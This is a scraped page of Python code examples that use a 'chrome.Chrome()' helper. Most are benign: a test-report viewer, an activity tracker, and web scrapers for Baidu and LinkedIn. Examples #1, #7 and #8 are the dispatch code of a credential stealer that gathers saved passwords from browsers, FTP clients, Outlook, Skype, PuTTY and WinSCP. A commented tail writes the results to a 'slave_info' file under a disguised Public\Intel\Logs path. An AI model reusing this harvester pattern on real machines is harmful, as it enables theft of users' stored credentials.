def run(self):
        print '[*] Running'
        ret_list = []

        try:
            chrome_win = chrome.Chrome()
            ret_list.append("Chrome")
            ret_list.append(chrome_win.run())
        except:
            pass

        return ret_list
Пример #2
0
def _display_test_result(report_html_name, flag_skip_html):
    """Display the test result html doc using telemetry."""
    if not flag_skip_html and os.path.isdir('/usr/local/telemetry'):
        import chrome

        base_url = os.path.basename(report_html_name)
        url = os.path.join('file://' + conf.docroot, base_url)
        logging.info('Navigate to the URL: %s', url)

        # Launch a browser to display the url.
        print 'Display the html test report on the browser.'
        print 'This may take a while...\n'
        chrome.Chrome().browser.tabs[0].Navigate(url)
    else:
        print 'You can look up the html test result in %s' % report_html_name
Пример #3
0
def main():
    setup_logging()

    x_window_focus_tracker = x11.XWindowFocusTracker()
    x_thread = threading.Thread(target=x_window_focus_tracker.run, daemon=True)
    x_thread.start()

    span_storage = SpanStorage('spans.db')
    # We can't use the same tracker for both tmux and chrome.
    # Otherwise, when e.g. focus is changed from chrome to terminal, it's
    # possible that TmuxAdapter will get notified before ChromeAdapter;
    # then TmuxAdapter will set the active span to current tmux session, just
    # before ChromeAdapter sets the active span to None.
    chrome_span_tracker = SpanTracker(span_storage)
    tmux_span_tracker = SpanTracker(span_storage)

    chrome_adapter = chrome.ChromeAdapter(chrome_span_tracker)
    x_window_focus_tracker.register(chrome_adapter.set_focused_x_window_id)
    chrome_http = chrome.Chrome(chrome_adapter)
    chrome_thread = threading.Thread(target=chrome.serve,
                                     kwargs={
                                         'chrome_http': chrome_http,
                                         'port': 3142,
                                     },
                                     daemon=True)
    chrome_thread.start()

    tmux_adapter = tmux.TmuxAdapter(tmux_span_tracker)
    x_window_focus_tracker.register(tmux_adapter.set_focused_x_window_id)
    tmux_servicer = tmux.Tmux(tmux_adapter)

    server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))
    tmux_pb2_grpc.add_TmuxServicer_to_server(tmux_servicer, server)
    server.add_insecure_port('[::]:3141')
    server.start()
    server.wait_for_termination()
Пример #4
0
#!/usr/bin/env python
# -*- coding:utf-8 -*-

import chrome
import download
import json
import re
import os

if __name__ == '__main__':
    spider = chrome.Chrome()
    spider.get_urlobj()
    for url_obj in spider.urls:
        print(url_obj)
        spider.get_driver()
        spider.driver.get('http://www.baidu.com')
        spider.search(url_obj)
Пример #5
0
def get_chrome_controller():
    """Get the Safari browser object"""
    import chrome
    browser = chrome.Chrome()
    return browser
import chrome
import linkedin

if __name__ == '__main__':

    chrome = chrome.Chrome()
    chrome.get_url(
        'https://linkedin.com/mynetwork/invite-connect/connections/')
    linkedin.run(chrome)
    chrome.web.close()
Пример #7
0
    def run(self):
        print '[*] Running password finder'
        ret_list = []

        try:
            print '[*] Finding credentials in Chrome'
            chrome_win = chrome.Chrome()
            ret_list.append("Chrome")
            ret_list.append(chrome_win.run())
        except:
            pass

        try:
            print '[*] Finding credentials in Mozilla'
            moz_illa = Mozilla.Mozilla()
            ret_list.append("Mozilla")
            ret_list.append(moz_illa.run())
        except:
            pass

        try:
            print '[*] Finding Filezilla credentials'
            file_zilla = Filezilla.Filezilla()
            ret_list.append("Filezilla")
            ret_list.append(file_zilla.run())
        except:
            pass

        try:
            print '[*] Finding CoreFTP credentials'
            core_ftp = Coreftp.CoreFTP()
            ret_list.append("CoreFTP")
            ret_list.append(core_ftp.run())
        except:
            pass

        try:
            print '[*] Finding Cyberduck credentials'
            cyber_duck = cyberduck.Cyberduck()
            ret_list.append("Cyberduck")
            ret_list.append(cyber_duck.run())
        except:
            pass

        try:
            print '[*] Finding FtpNavigator credentials'
            ftp_navigator = ftpnavigator.FtpNavigator()
            ret_list.append("FtpNavigator")
            ret_list.append(ftp_navigator.run())
        except:
            pass

        try:
            print '[*] Finding Outlook credentials'
            out_look = outlook.Outlook()
            ret_list.append("Outlook")
            ret_list.append(out_look.run())
        except:
            pass

        try:
            print '[*] Finding Skype credentials'
            skype_ms = skype.Skype()
            ret_list.append("Skype")
            ret_list.append(skype_ms.run())
        except:
            pass

        try:
            print '[*] Finding DotNet credentials'
            d_net = dotnet.Dot_net()
            ret_list.append("DotNet")
            ret_list.append(d_net.run())
        except:
            pass

        try:
            print '[*] Finding Network credentials'
            net_work = network.Network()
            ret_list.append("Network")
            ret_list.append(net_work.run())
        except:
            pass

        try:
            print '[*] Finding Putty credentials'
            putty_cm = putty.Putty()
            ret_list.append("Putty")
            ret_list.append(putty_cm.run())
        except:
            pass

        try:
            print '[*] Finding WinSCP credentials'
            win_scp = winscp.WinSCP()
            ret_list.append("WinSCP")
            ret_list.append(win_scp.run())
        except:
            pass

        print '[*] Returning found passwords'
        return ret_list
Пример #8
0
    def run(self):
        ret_list = []

        try:
            chrome_win = chrome.Chrome()
            ret_list.append("Chrome")
            ret_list.append(chrome_win.run())
        except:
            pass

        try:
            moz_illa = Mozilla.Mozilla()
            ret_list.append("Mozilla")
            ret_list.append(moz_illa.run())
        except:
            pass

        try:
            file_zilla = Filezilla.Filezilla()
            ret_list.append("Filezilla")
            ret_list.append(file_zilla.run())
        except:
            pass

        try:
            core_ftp = Coreftp.CoreFTP()
            ret_list.append("CoreFTP")
            ret_list.append(core_ftp.run())
        except:
            pass

        try:
            cyber_duck = cyberduck.Cyberduck()
            ret_list.append("Cyberduck")
            ret_list.append(cyber_duck.run())
        except:
            pass

        try:
            ftp_navigator = ftpnavigator.FtpNavigator()
            ret_list.append("FtpNavigator")
            ret_list.append(ftp_navigator.run())
        except:
            pass

        try:
            out_look = outlook.Outlook()
            ret_list.append("Outlook")
            ret_list.append(out_look.run())
        except:
            pass

        try:
            skype_ms = skype.Skype()
            ret_list.append("Skype")
            ret_list.append(skype_ms.run())
        except:
            pass

        try:
            d_net = dotnet.Dot_net()
            ret_list.append("DotNet")
            ret_list.append(d_net.run())
        except:
            pass

        try:
            net_work = network.Network()
            ret_list.append("Network")
            ret_list.append(net_work.run())
        except:
            pass

        try:
            putty_cm = putty.Putty()
            ret_list.append("Putty")
            ret_list.append(putty_cm.run())
        except:
            pass

        try:
            win_scp = winscp.WinSCP()
            ret_list.append("WinSCP")
            ret_list.append(win_scp.run())
        except:
            pass

        return ret_list


#tem = Result()
#slave_info = 'C:\Users\Public\Intel\Logs\info.txt'
#open_slave_info = open(slave_info, "w")
#open_slave_info.write(str(tem.run()) + "\n")
#open_slave_info.close()